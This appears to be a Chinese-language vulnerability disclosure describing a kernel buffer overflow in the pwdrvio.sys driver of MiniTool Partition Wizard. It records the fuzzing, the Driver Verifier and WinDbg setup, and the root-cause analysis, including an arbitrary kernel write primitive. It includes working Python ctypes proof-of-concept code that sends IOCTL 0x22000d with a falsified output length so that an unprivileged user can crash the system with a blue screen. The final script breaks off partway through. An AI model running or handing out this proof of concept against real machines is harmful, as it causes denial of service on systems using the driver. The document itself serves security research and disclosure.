项目日期:2026年2月 / 发现pwdrvio.sys内核驱动中IOCTL处理程序存在缓冲区溢出漏洞。该漏洞允许本地非特权攻击者破坏内核池内存,触发即时系统崩溃(蓝屏死机)和拒绝服务。
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
拒绝服务(DoS)
严重性: 中
CVSS 3.1 评分: 5.5(DoS)
CVSS 向量字符串:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H缓冲区溢出 — 拒绝服务(CVSS 5.5 - 中)
攻击先决条件:
利用结果: DoS - 即时系统崩溃,服务不可用
日期: 2026年2月5日
活动: 使用自定义Python模糊测试器对内核驱动进行系统化模糊测试
发现过程:
目标选择:
pwdrvio.sys是最旧驱动(时间戳:2009年6月16日)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0初始模糊测试:
ctypes开发Python模糊测试器与驱动交互WriteFile/DeviceIoControl向驱动设备发送随机数据验证器激活:
verifier /standard /driver pwdrvio.sys
验证器配置:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
日期: 2026年2月5日至6日
活动: 建立内核调试环境以进行根本原因分析
设置步骤:
VMware串口配置:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
客户机操作系统配置:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
主机WinDbg连接:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
日期: 2026年2月6日
活动: 识别任意内核写原语
分析步骤:
模块分析:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
脆弱指令发现:
在写处理程序上设置断点:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
关键发现: 识别出任意写原语!
RAX)写入地址[R11-0x10]R11从栈帧加载:mov r11, qword ptr [rbp+0xB8h]寄存器状态分析:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here
日期: 2026年2月6日至7日
活动: 跟踪漏洞从释放后使用到写-什么-在哪的条件
内存破坏链条:
IRP分配:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
缓冲区关系:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
分析: 用户缓冲区无法直接从RBP帧访问
RBP+0xB8偏移不指向用户控制的缓冲区释放后使用条件:
驱动在IRP结构中维护悬空指针:
// Ghidra反编译 (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // 从IRP加载
// 未进行验证!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// 写入 [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // 任意写!
日期: 2026年2月8日
活动: 发现独立的DoS漏洞
发现过程:
IOCTL模糊测试:
0x22000d存在漏洞崩溃机制:
# 漏洞参数
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # 驱动信任该值!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
驱动行为:
验证器输出:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
位置: pwdrvio.sys IOCTL处理程序
有漏洞的IOCTL: 0x22000d
触发机制:
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# 打开驱动
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# 恶意参数
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # 只有4字节!
fake_output_length = 8192 # 声称8192字节!
bytes_returned = wintypes.DWORD(0)
# 触发溢出
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # ← 溢出!
ctypes.byref(bytes_returned), None)
崩溃行为:
启用驱动程序验证器时:
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - 检测到池分配被破坏
Arg2: fffff805315f1404 - 驱动代码地址(IOCTL处理程序)
Arg3: ffffe60f84c38000 - 池分配地址
Arg4: 0000000000000091 - 特殊池模式被破坏
分析:
- 驱动尝试将8192字节写入4字节缓冲区
- 验证器检测到池头破坏
- 即时Bugcheck(BSOD)
触发崩溃的进程:python.exe(标准用户)
未启用驱动程序验证器时:
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - 访问违规
Arg2: fffff805315f1404 - pwdrvio.sys中的故障地址
Arg3: ffffXXXXXXXXXXXX - 陷阱帧
Arg4: 0000000000000000
结果:蓝屏死机
代码:
import ctypes
from ctypes import wintypes
# --- 设置 ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- 定义 ---
# Windows API定义
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. 连接驱动
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] 无法连接。")
return